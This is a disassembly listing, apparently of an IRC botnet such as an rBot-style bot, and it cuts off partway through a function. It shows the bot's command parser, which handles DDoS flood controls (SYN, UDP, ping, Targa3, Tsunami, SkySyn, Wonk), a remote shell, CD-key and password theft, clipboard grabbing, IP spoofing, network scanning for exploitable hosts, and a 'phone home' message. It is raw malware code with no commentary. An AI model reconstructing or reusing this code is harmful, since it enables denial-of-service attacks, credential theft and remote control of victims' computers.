		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_44050C
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402E71:				; CODE XREF: sub_401CC7+1190j
		push	edi		; Str2
		push	offset aSkysynstop ; "skysynstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E9A
		push	dword ptr [ebp+esi+Args]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_440534
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402E9A:				; CODE XREF: sub_401CC7+11B9j
		push	edi		; Str2
		push	offset aTarga3stop ; "targa3stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EC3
		push	dword ptr [ebp+esi+Args]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_440560
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402EC3:				; CODE XREF: sub_401CC7+11E2j
		push	edi		; Str2
		push	offset aWonkstop ; "wonkstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EEC
		push	dword ptr [ebp+esi+Args]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_440588
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402EEC:				; CODE XREF: sub_401CC7+120Bj
		push	edi		; Str2
		push	offset aPacketstop ; "packetstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403042
		mov	esi, dword ptr [ebp+esi+Args]
		mov	edi, [ebp+arg_4]
		push	esi		; Str
		push	0Dh		; int
		push	offset aDdosFlood_0 ; "DDoS flood"
		push	offset dword_4405AC ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		push	esi		; Str
		push	0Eh		; int
		push	offset aSynFlood_0 ; "Syn flood"
		push	offset dword_4405C4 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		add	esp, 40h
		push	esi		; Str
		push	17h		; int
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_4405DC ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		push	esi		; Str
		push	16h		; int
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_4405F4 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		add	esp, 40h
		push	esi		; Str
		push	11h		; int
		push	offset aTarga3Flood_0 ;	"Targa3	flood"
		push	offset dword_440610 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		push	esi		; Str
		push	12h		; int
		push	offset aWonkFlood_0 ; "Wonk flood"
		push	offset dword_44062C ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		add	esp, 40h
		push	esi		; Str
		push	0Fh		; int
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_440648 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		push	esi		; Str
		push	13h		; int
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_440668 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		add	esp, 40h
		push	esi		; Str
		push	10h		; int
		push	offset aSkysynFlood_0 ;	"SkySyn	flood"
		push	offset dword_440688 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B9E4
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_440698 ; int
		push	[ebp+Format]	; Str
		push	edi		; int
		call	sub_409D34
		add	esp, 34h
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_403042:				; CODE XREF: sub_401CC7+1234j
		push	edi		; Str2
		push	offset aTsunamistop ; "tsunamistop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40306B
		push	dword ptr [ebp+esi+Args]
		push	0Fh
		push	offset aTsunamiFlood_0 ; "Tsunami flood"
		push	offset dword_4406E8
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_40306B:				; CODE XREF: sub_401CC7+138Aj
		push	edi		; Str2
		push	offset aWisdomstop ; "wisdomstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403094
		push	dword ptr [ebp+esi+Args]
		push	13h
		push	offset aWisdomAttack_0 ; "Wisdom attack"
		push	offset dword_440714
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_403094:				; CODE XREF: sub_401CC7+13B3j
		push	edi		; Str2
		push	offset aUdpstop	; "udpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030BD
		push	dword ptr [ebp+esi+Args]
		push	17h
		push	offset aUdpFlood_0 ; "UDP flood"
		push	offset dword_440738
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4030BD:				; CODE XREF: sub_401CC7+13DCj
		push	edi		; Str2
		push	offset aPingstop ; "pingstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030E6
		push	dword ptr [ebp+esi+Args]
		push	16h
		push	offset aPingFlood_0 ; "Ping flood"
		push	offset dword_44075C
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4030E6:				; CODE XREF: sub_401CC7+1405j
		push	edi		; Str2
		push	offset aTftpstop ; "tftpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40310F
		push	dword ptr [ebp+esi+Args]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset dword_44077C
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_40310F:				; CODE XREF: sub_401CC7+142Ej
		push	edi		; Str2
		push	offset aFindfilestop ; "findfilestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047CF
		push	edi		; Str2
		push	offset aFfstop	; "ffstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047CF
		push	edi		; Str2
		push	offset aProcsstop ; "procsstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047B7
		push	edi		; Str2
		push	offset aPsstop	; "psstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047B7
		push	edi		; Str2
		push	offset aClonestop ; "clonestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40318C
		push	dword ptr [ebp+esi+Args]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_440808
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_40318C:				; CODE XREF: sub_401CC7+14ABj
		push	edi		; Str2
		push	offset aSecurestop ; "securestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031B5
		push	dword ptr [ebp+esi+Args]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_44082C
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4031B5:				; CODE XREF: sub_401CC7+14D4j
		push	edi		; Str2
		push	offset aScanstop ; "scanstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031DE
		push	dword ptr [ebp+esi+Args]
		push	0Bh
		push	offset aScan	; "Scan"
		push	offset dword_440850
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4031DE:				; CODE XREF: sub_401CC7+14FDj
		push	edi		; Str2
		push	offset aScanstats ; "scanstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A1
		push	edi		; Str2
		push	offset aStats	; "stats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A1
		push	edi		; Str2
		push	offset aTransferstats ;	"transferstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40478B
		push	edi		; Str2
		push	offset aTrstats	; "trstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40478B
		push	edi		; Str2
		push	offset aConnectbacksta ; "connectbackstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404775
		push	edi		; Str2
		push	offset aCbstats	; "cbstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404775
		push	edi		; Str2
		push	offset aExploitlist ; "exploitlist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40475F
		push	edi		; Str2
		push	offset aExplist	; "explist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40475F
		push	edi		; Str2
		push	offset aReconnect ; "reconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404740
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404740
		push	edi		; Str2
		push	offset aDisconnect ; "disconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi		; Str2
		push	offset aDc	; "dc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi		; Str2
		push	offset aQuit_0	; "quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046D6
		push	edi		; Str2
		push	offset aQ	; "q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046D6
		push	edi		; Str2
		push	offset aStatus	; "status"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046C2
		push	edi		; Str2
		push	offset aS_2	; "s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046C2
		push	edi		; Str2
		push	offset aId	; "id"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40468B
		push	edi		; Str2
		push	offset aI_0	; "i"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40468B
		push	edi		; Str2
		push	offset aReboot	; "reboot"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033AA
		call	sub_4190D4
		test	eax, eax
		mov	eax, offset asc_4409C8 ; "-"
		jnz	short loc_40337C
		mov	eax, offset unk_4409E8

loc_40337C:				; CODE XREF: sub_401CC7+16AEj
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 1Ch
		jmp	loc_408637
; ---------------------------------------------------------------------------

loc_4033AA:				; CODE XREF: sub_401CC7+16A0j
		push	edi		; Str2
		push	offset aThreads	; "threads"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AC
		push	edi		; Str2
		push	offset aT	; "t"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AC
		push	edi		; Str2
		push	offset aAliases	; "aliases"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi		; Str2
		push	offset aAl	; "al"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi		; Str2
		push	offset aLog	; "log"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404496
		push	edi		; Str2
		push	offset aLg	; "lg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404496
		push	edi		; Str2
		push	offset aClearlog ; "clearlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40447D
		push	edi		; Str2
		push	offset aClg	; "clg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40447D
		push	edi		; Str2
		push	offset aNetinfo	; "netinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404443
		push	edi		; Str2
		push	offset aNi	; "ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404443
		push	edi		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404418
		push	edi		; Str2
		push	offset aSi	; "si"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404418
		push	edi		; Str2
		push	offset aRemove	; "remove"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043DE
		push	edi		; Str2
		push	offset aRm	; "rm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043DE
		push	edi		; Str2
		push	offset aProcs	; "procs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BB
		push	edi		; Str2
		push	offset aPs	; "ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BB
		push	edi		; Str2
		push	offset aGetcdkeys ; "getcdkeys"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429D
		push	edi		; Str2
		push	offset aKey	; "key"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429D
		push	edi		; Str2
		push	offset aUptime	; "uptime"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404215
		push	edi		; Str2
		push	offset aUp	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404215
		push	edi		; Str2
		push	offset aDriveinfo ; "driveinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F8
		push	edi		; Str2
		push	offset aDrv	; "drv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F8
		push	edi		; Str2
		push	offset aTestdlls ; "testdlls"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DF
		push	edi		; Str2
		push	offset aDll	; "dll"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DF
		push	edi		; Str2
		push	offset aOpencmd	; "opencmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041A0
		push	edi		; Str2
		push	offset aOcmd	; "ocmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041A0
		push	edi		; Str2
		push	offset aCmdstop	; "cmdstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035F5
		push	dword ptr [ebp+esi+Args]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_440D20
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4035F5:				; CODE XREF: sub_401CC7+1914j
		push	edi		; Str2
		push	offset aWho	; "who"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403712
		cmp	[ebp+var_8], ebx
		jnz	short loc_403629
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_440D30 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_403629:				; CODE XREF: sub_401CC7+1946j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_403637
; ---------------------------------------------------------------------------

loc_403634:				; CODE XREF: sub_401CC7+19BCj
		mov	eax, [ebp+arg_18]

loc_403637:				; CODE XREF: sub_401CC7+196Bj
		cmp	[eax], bl
		jz	short loc_40363E
		inc	eax
		jmp	short loc_403643
; ---------------------------------------------------------------------------

loc_40363E:				; CODE XREF: sub_401CC7+1972j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403643:				; CODE XREF: sub_401CC7+1975j
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403634
		push	offset unk_440D54
		call	sub_415C3F
		pop	ecx

loc_403690:				; CODE XREF: sub_401CC7+1C4Bj
					; sub_401CC7+2F34j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		mov	[ebp+Source], eax
		jz	loc_402085
		push	edi		; Str2
		push	offset aSpoof	; "spoof"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CE8
		mov	esi, [ebp+Source]
		push	offset Str2	; "off"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C0D
		lea	eax, [ebp+Dst]
		push	offset asc_441298 ; "-"
		push	eax		; Dest
		mov	dword_4E68F0, ebx
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4036E8:				; CODE XREF: sub_401CC7+301Cj
		cmp	[ebp+var_8], ebx
		jnz	loc_409B16
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34

loc_40370A:				; CODE XREF: sub_401CC7+71C1j
		add	esp, 14h
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_403712:				; CODE XREF: sub_401CC7+193Dj
		push	edi		; Str2
		push	offset aGetclip	; "getclip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40415F
		push	edi		; Str2
		push	offset aGc	; "gc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40415F
		push	edi		; Str2
		push	offset aFlusharp ; "flusharp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404148
		push	edi		; Str2
		push	offset aFarp	; "farp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404148
		push	edi		; Str2
		push	offset aFlushdns ; "flushdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404110
		push	edi		; Str2
		push	offset aFdns	; "fdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404110
		push	edi		; Str2
		push	offset aCurrentip ; "currentip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D6
		push	edi		; Str2
		push	offset aCip	; "cip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D6
		push	edi		; Str2
		push	offset aRloginserver ; "rloginserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F9B
		push	edi		; Str2
		push	offset aRlogin	; "rlogin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F9B
		push	edi		; Str2
		push	offset aHttpserver ; "httpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E0F
		push	edi		; Str2
		push	offset aHttp	; "http"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E0F
		push	edi		; Str2
		push	offset aTftpserver ; "tftpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CD5
		push	edi		; Str2
		push	offset aTftp	; "tftp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CD5
		push	edi		; Str2
		push	offset aCrash	; "crash"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40389E
		lea	eax, [ebp+Dst]
		push	offset asc_441084 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40387D
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_40387D:				; CODE XREF: sub_401CC7+1B98j
		lea	eax, [ebp+Dst]
		push	eax		; Str2
		call	sub_415C3F
		mov	[esp+5D98h+var_5D98], offset aCrash_0 ;	"crash"
		push	[ebp+esi+var_7C] ; Str1
		call	_strcmp
		jmp	loc_40226E
; ---------------------------------------------------------------------------

loc_40389E:				; CODE XREF: sub_401CC7+1B80j
		push	edi		; Str2
		push	offset aScanall	; "scanall"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039D1
		push	edi		; Str2
		push	offset aSa	; "sa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039D1
		push	edi		; Str2
		push	offset aPhonehome ; "phonehome"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4038F2
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		jmp	loc_402143
; ---------------------------------------------------------------------------

loc_4038F2:				; CODE XREF: sub_401CC7+1C10j
		push	edi		; Str2
		push	offset aFindpass ; "findpass"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403918
		push	edi		; Str2
		push	offset aFp	; "fp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403690

loc_403918:				; CODE XREF: sub_401CC7+1C3Aj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_F54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset asc_441228 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	26h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_417A8B
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4039C0

loc_4039AA:				; CODE XREF: sub_401CC7+1CF7j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4039AA
; ---------------------------------------------------------------------------

loc_4039C0:				; CODE XREF: sub_401CC7+1CE1j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441250
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_4039D1:				; CODE XREF: sub_401CC7+1BE6j
					; sub_401CC7+1BFBj
		mov	al, byte_448402
		mov	[ebp+Src], ebx
		cmp	al, bl
		mov	edx, offset byte_448402
		jz	loc_402085
		mov	ecx, edx

loc_4039E8:				; CODE XREF: sub_401CC7+1D29j
		inc	[ebp+Src]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4039E8
		cmp	al, bl
		jz	loc_402085
		mov	[ebp+arg_18], edx
		mov	esi, offset a2	; "#2"

loc_403A02:				; CODE XREF: sub_401CC7+1FF9j
		push	0Bh
		call	sub_40B99E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+Src]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403A51
		push	ecx
		lea	eax, [ebp+Dst]
		push	offset asc_4410B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 20h
		jmp	loc_403CB7
; ---------------------------------------------------------------------------

loc_403A51:				; CODE XREF: sub_401CC7+1D55j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_448220, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+Src], ebx
		jz	short loc_403AC2
		mov	edi, offset dword_448220

loc_403A86:				; CODE XREF: sub_401CC7+1DDDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax		; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403AA8
		inc	[ebp+Src]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_403A86
		jmp	short loc_403AC2
; ---------------------------------------------------------------------------

loc_403AA8:				; CODE XREF: sub_401CC7+1DD3j
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_448220[ecx]
		mov	[ebp+var_74C], ecx

loc_403AC2:				; CODE XREF: sub_401CC7+1DB8j
					; sub_401CC7+1DDFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403CCB
		push	10h
		lea	eax, [ebp+var_2CC]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2CC], edi
		push	[ebp+arg_4]
		call	dword_4E309C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Count], eax
		push	[ebp+Count]	; Count
		call	dword_4E3184	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_860]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_403B6A

loc_403B48:				; CODE XREF: sub_401CC7+1EA1j
		cmp	eax, ebx
		jz	short loc_403B6A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_403B48

loc_403B6A:				; CODE XREF: sub_401CC7+1E7Fj
					; sub_401CC7+1E83j
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+var_720], 1
		call	__snprintf
		push	offset byte_4E2FA0 ; Str2
		push	esi		; Str1
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_403BCC
		push	esi		; Format
		lea	eax, [ebp+var_7D0]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_403BD2
; ---------------------------------------------------------------------------

loc_403BCC:				; CODE XREF: sub_401CC7+1EF0j
		mov	[ebp+var_7D0], bl

loc_403BD2:				; CODE XREF: sub_401CC7+1F03j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403BE4
		mov	eax, offset aSequential	; "Sequential"

loc_403BE4:				; CODE XREF: sub_401CC7+1F16j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441140 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40CB69
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_403C6E

loc_403C5C:				; CODE XREF: sub_401CC7+1FA5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403C89
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_403C5C
; ---------------------------------------------------------------------------

loc_403C6E:				; CODE XREF: sub_401CC7+1F93j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4411AC ; "-"
